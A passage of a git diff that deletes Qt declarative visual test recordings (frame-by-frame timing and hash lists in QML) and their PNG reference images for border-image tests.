"6eae517ad33f0609c31ef1f8f80ba899" - } - Frame { - msec: 6256 - hash: "74c1e71378b502bc1b732a55806a10f1" - } - Frame { - msec: 6272 - hash: "a88d6fc324ef48aa52c642a1662ec679" - } - Frame { - msec: 6288 - hash: "8172e076b05d95248d89e815fde820ef" - } - Frame { - msec: 6304 - hash: "7b78cba247f2c209ed81e003ca25d0a5" - } - Frame { - msec: 6320 - hash: "f57727419bb51fb1e589b960ddeb20ae" - } - Frame { - msec: 6336 - hash: "3fb20f9dbd40b4729235e13af9643afc" - } - Frame { - msec: 6352 - hash: "b12faa76c07adc21634cd8f8cb8436ae" - } - Frame { - msec: 6368 - hash: "3b644aac161f0a75bfb64f5075373190" - } - Frame { - msec: 6384 - hash: "a790f0e884ab85f7802dd094e4ef550f" - } - Frame { - msec: 6400 - hash: "a6937ee49648ed0cb409063bf1da3b87" - } - Frame { - msec: 6416 - hash: "0b1a741975e3d9ef8f5e78f371c89441" - } - Frame { - msec: 6432 - hash: "1bf7a98884b506b38326f59f85a53f41" - } - Frame { - msec: 6448 - hash: "fb17df681d99d5de05f6329bba697ea5" - } - Frame { - msec: 6464 - hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" - } - Frame { - msec: 6480 - hash: "73c5f23f51797a33f4d2898738e6356e" - } - Frame { - msec: 6496 - hash: "65c514c9e926affe1da0b4826d2754c7" - } - Frame { - msec: 6512 - hash: "5b027815ea3c1ea54e1a02c798c468db" - } - Frame { - msec: 6528 - hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" - } - Frame { - msec: 6544 - hash: "11673a112566a64aca3c7010b9cc9c4d" - } - Frame { - msec: 6560 - hash: "826c7741ba0c51de407bb799e8f360b5" - } - Frame { - msec: 6576 - hash: "3b95eb8cbfc831e1ebee2e456b026ab4" - } - Frame { - msec: 6592 - hash: "95d776c84fe155617fc4ee51bdb45b7e" - } - Frame { - msec: 6608 - hash: "a1bd4e995365e79389dba80f9e3b7af8" - } - Frame { - msec: 6624 - hash: "44072400ca3f0237d1aebae28a94becc" - } - Frame { - msec: 6640 - hash: "99de44f74f8e1f79652ab46afb4bb59e" - } - Frame { - msec: 6656 - hash: "4f1eace868a6688e5b24ce48a1f0fd18" - } - Frame { - msec: 6672 - hash: "84c94704c16e246df1048f958cc8cefb" - } - Frame { - msec: 6688 - hash: "e880d93963c80e4fab5173554c9600fc" - } - Frame { - msec: 6704 - hash: "e91bb914c1eb63cd4269b30a220a128a" - } - Frame { - msec: 6720 - image: "animated.6.png" - } - Frame { - msec: 6736 - hash: "985868869ef2c332da379460a2f3a71b" - } - Frame { - msec: 6752 - hash: "587cb6e05048579088e88e0180e3ad48" - } - Frame { - msec: 6768 - hash: "97f7a2175dcf9ac2581a92d614d72f88" - } - Frame { - msec: 6784 - hash: "93128906d054e44bfd126fc22bdc3102" - } - Frame { - msec: 6800 - hash: "08f55088cdce741c67539f73291e53ab" - } - Frame { - msec: 6816 - hash: "30f84a7f67b13a945ba6d5935ea92da5" - } - Frame { - msec: 6832 - hash: "5359f5e45e5467c62c2d9521c8199c48" - } - Frame { - msec: 6848 - hash: "7c22fc3e30377cc14326833bdd23ddd8" - } - Frame { - msec: 6864 - hash: "80ebac4d923f67fb8dba3d133ce657ba" - } - Frame { - msec: 6880 - hash: "c3a1f12febc979150028737722d6d045" - } - Frame { - msec: 6896 - hash: "81d2fc6727dc7449d1a87b4abea9b704" - } - Frame { - msec: 6912 - hash: "68dae343cf324391ec6721cea14575f7" - } - Frame { - msec: 6928 - hash: "ec0aea8dc8c269d1f0aee5817347ac55" - } - Frame { - msec: 6944 - hash: "a4ddb4956d71fd642d54757938100cf3" - } - Frame { - msec: 6960 - hash: "956429472da133324c970774f77784f5" - } - Frame { - msec: 6976 - hash: "c763f56728e17fc119539a4d45dfccc3" - } - Frame { - msec: 6992 - hash: "ae48da4a66f93c806725ce749700aac8" - } - Frame { - msec: 7008 - hash: "bccb4b8a494bd45bd70c2524a02a9dc3" - } - Frame { - msec: 7024 - hash: "bc747167dfb3388ac63e9e68a86b9a03" - } - Frame { - msec: 7040 - hash: "86360bd58bba5fdd901c105ddb2e3ade" - } - Frame { - msec: 7056 - hash: "7383209c80b403b93da3264eadbc047f" - } - Frame { - msec: 7072 - hash: "280288a7988736e30a2a3e4289ac3b0c" - } - Frame { - msec: 7088 - hash: "ff0928dfd16b2da9811a172c19817a97" - } - Frame { - msec: 7104 - hash: "eac4600372f0fdfadee88896ac915a48" - } - Frame { - msec: 7120 - hash: "f04e84ad3579d6334077abe73101d206" - } - Frame { - msec: 7136 - hash: "8861bf848da5c96b35addff736b01520" - } - Frame { - msec: 7152 - hash: "1ac8c393f084aa1894c26610b7f40ea6" - } - Frame { - msec: 7168 - hash: "e8a61d3858244127cb2b2812f04f5ce9" - } - Frame { - msec: 7184 - hash: "93cf31eabb454ec536c638a506be0648" - } - Frame { - msec: 7200 - hash: "0cba07ca38c7f0483244832a42d9ac53" - } - Frame { - msec: 7216 - hash: "c7eb7837dce71c914186326216214eeb" - } - Frame { - msec: 7232 - hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" - } - Frame { - msec: 7248 - hash: "1ea07ee309ce2c52cbc36370b75a872f" - } - Frame { - msec: 7264 - hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" - } - Frame { - msec: 7280 - hash: "a6f17da2dd581bdc249ff62f833dc025" - } - Frame { - msec: 7296 - hash: "b74521d6ac531414aeeca0fb28379d11" - } - Frame { - msec: 7312 - hash: "6a521f952e05d91b86ad78fd6f5de4f9" - } - Frame { - msec: 7328 - hash: "4e60300cfab8634e04dcd1b556251d31" - } - Frame { - msec: 7344 - hash: "60f158382f75103c78e2b9b408e0fe65" - } - Frame { - msec: 7360 - hash: "153237f8cf37e29ad2f32f7a8a6aecdb" - } - Frame { - msec: 7376 - hash: "554e1d360463871e7c05cfe6f8abe1dd" - } - Frame { - msec: 7392 - hash: "e418b5f54705515dce5ce3b4cbc45d19" - } - Frame { - msec: 7408 - hash: "19d05a96f3ae7388e854bbf1075b51c1" - } - Frame { - msec: 7424 - hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" - } - Frame { - msec: 7440 - hash: "18c2f321a149e38b258ac264d40c2376" - } - Frame { - msec: 7456 - hash: "a40014d842471784e1222eb205395f6f" - } - Frame { - msec: 7472 - hash: "f1a7a4a67a21f5025294af4bea3f8998" - } - Frame { - msec: 7488 - hash: "3152e5f29015ece423fbdd11a2b382b8" - } - Frame { - msec: 7504 - hash: "2a7bed775824968e318c3d40fbc5b1c2" - } - Frame { - msec: 7520 - hash: "dd4c9e63001bc6e0e63ea4db2d85301f" - } - Frame { - msec: 7536 - hash: "ac8f096e8c7cc23bfb01de69cf3e266e" - } - Frame { - msec: 7552 - hash: "6b48bfd0c7993f746d6301c2a0f61d23" - } - Frame { - msec: 7568 - hash: "06d8d8a1a41893d4e27725948a75caf4" - } - Frame { - msec: 7584 - hash: "3f62f032239d412d3637198f5e3e83d6" - } - Frame { - msec: 7600 - hash: "01947e631c3db43f7c5b4427229bc0c8" - } - Frame { - msec: 7616 - hash: "2266df495ab5265e7514a506d3bf5bc6" - } - Frame { - msec: 7632 - hash: "8c66a33d26eec2a1133f4362710a5fab" - } - Frame { - msec: 7648 - hash: "75c9bf83ca3fe24612c245698c089430" - } - Frame { - msec: 7664 - hash: "c1936628aec13e08e9581dcd2c6d5717" - } - Frame { - msec: 7680 - image: "animated.7.png" - } - Frame { - msec: 7696 - hash: "8419f1d75b14130730bcfec4e3a9b058" - } - Frame { - msec: 7712 - hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" - } - Frame { - msec: 7728 - hash: "406224b535b4425d2708df0083acdc8e" - } - Frame { - msec: 7744 - hash: "3dac1d9632378bd18c1c938a4868e3fb" - } - Frame { - msec: 7760 - hash: "08b9be66e23c7b6f6f629c7470394601" - } - Frame { - msec: 7776 - hash: "7b4d12e5a877507e7454aa1b8ed87c2d" - } - Frame { - msec: 7792 - hash: "4d45d70f997c2c67166905c97a900d2e" - } - Frame { - msec: 7808 - hash: "c5b3dede34b0d1d78135e39c41d117c6" - } - Frame { - msec: 7824 - hash: "b63e4d1686057828fd8781f1c33585f5" - } - Frame { - msec: 7840 - hash: "755cfccc38bababc468fe6e1076804bb" - } - Frame { - msec: 7856 - hash: "465ec993948f7b75aeb5759976f4620d" - } - Frame { - msec: 7872 - hash: "228d5312c261d1a5455faf69ec2f2520" - } - Frame { - msec: 7888 - hash: "aacf9ae3c23d174a1c1cda493600e355" - } - Frame { - msec: 7904 - hash: "4c60d345821f515c7811f3b69eb94607" - } - Frame { - msec: 7920 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 7936 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 7952 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 7968 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 7984 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8000 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8016 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8032 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8048 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8064 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8080 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8096 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8112 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 8128 - hash: "4c60d345821f515c7811f3b69eb94607" - } - Frame { - msec: 8144 - hash: "aacf9ae3c23d174a1c1cda493600e355" - } - Frame { - msec: 8160 - hash: "228d5312c261d1a5455faf69ec2f2520" - } - Frame { - msec: 8176 - hash: "465ec993948f7b75aeb5759976f4620d" - } - Frame { - msec: 8192 - hash: "755cfccc38bababc468fe6e1076804bb" - } - Frame { - msec: 8208 - hash: "b63e4d1686057828fd8781f1c33585f5" - } - Frame { - msec: 8224 - hash: "c5b3dede34b0d1d78135e39c41d117c6" - } - Frame { - msec: 8240 - hash: "4d45d70f997c2c67166905c97a900d2e" - } - Frame { - msec: 8256 - hash: "7b4d12e5a877507e7454aa1b8ed87c2d" - } - Frame { - msec: 8272 - hash: "08b9be66e23c7b6f6f629c7470394601" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 8288 - hash: "3dac1d9632378bd18c1c938a4868e3fb" - } - Frame { - msec: 8304 - hash: "406224b535b4425d2708df0083acdc8e" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.0.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.0.png deleted file mode 100644 index 80cbd26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.1.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.1.png deleted file mode 100644 index 80cbd26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.2.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.2.png deleted file mode 100644 index 80cbd26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.3.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.3.png deleted file mode 100644 index 80cbd26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.4.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.4.png deleted file mode 100644 index 80cbd26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.qml deleted file mode 100644 index 16cd5e9..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.qml +++ /dev/null @@ -1,1359 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 32 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 48 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 64 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 80 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 96 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 112 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 128 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 144 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 160 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 176 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 192 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 208 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 224 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 240 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 256 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 272 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 288 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 304 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 320 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 336 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 352 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 368 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 384 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 400 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 416 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 432 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 448 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 464 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 480 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 496 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 512 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 528 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 544 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 560 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 576 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 592 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 608 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 624 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 640 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 656 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 672 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 688 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 704 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 720 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 736 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 752 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 768 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 784 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 800 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 816 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 832 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 848 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 864 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 880 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 896 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 912 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 928 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 944 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 960 - image: "borders.0.png" - } - Frame { - msec: 976 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 992 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1008 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1024 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1040 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1056 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1072 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1088 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1104 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1120 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1136 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1152 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1168 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1184 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1200 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1216 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1232 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1248 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1264 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1280 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1296 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1312 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1328 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1344 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1360 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1376 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1392 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1408 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1424 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1440 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1456 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1472 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1488 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1504 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1520 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1536 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1552 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1568 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1584 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1600 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1616 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1632 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1648 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1664 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1680 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1696 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1712 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1728 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1744 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1760 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1776 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1792 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1808 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1824 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1840 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1856 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1872 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1888 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1904 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1920 - image: "borders.1.png" - } - Frame { - msec: 1936 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1952 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1968 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 1984 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2000 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2016 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2032 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2048 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2064 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2080 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2096 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2112 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2128 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2144 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2160 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2176 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2192 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2208 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2224 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2240 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2256 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2272 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2288 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2304 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2320 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2336 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2352 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2368 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2384 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2400 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2416 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2432 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2448 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2464 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2480 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2496 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2512 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2528 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2544 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2560 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2576 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2592 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2608 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2624 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2640 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2656 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2672 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2688 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2704 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2720 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2736 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2752 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2768 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2784 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2800 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2816 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2832 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2848 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2864 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2880 - image: "borders.2.png" - } - Frame { - msec: 2896 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2912 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2928 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2944 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2960 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2976 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 2992 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3008 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3024 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3040 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3056 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3072 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3088 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3104 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3120 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3136 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3152 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3168 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3184 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3200 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3216 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3232 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3248 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3264 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3280 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3296 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3312 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3328 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3344 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3360 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3376 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3392 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3408 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3424 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3440 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3456 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3472 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3488 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3504 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3520 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3536 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3552 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3568 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3584 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3600 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3616 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3632 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3648 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3664 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3680 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3696 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3712 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3728 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3744 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3760 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3776 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3792 - hash: 